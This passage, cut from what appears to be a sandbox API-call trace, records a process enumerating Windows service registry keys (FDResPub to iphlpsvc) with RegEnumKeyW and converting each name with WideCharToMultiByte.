lpName="FDResPub") returned 0x0 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0239.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0239.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1d60, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0239.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0239.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0239.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0239.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0239.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0239.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0239.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0239.586] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0239.586] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0239.586] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1928, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0239.586] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0239.586] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0239.587] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0239.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0239.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0239.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0239.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0239.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0239.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0239.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0239.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0239.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0239.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0239.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 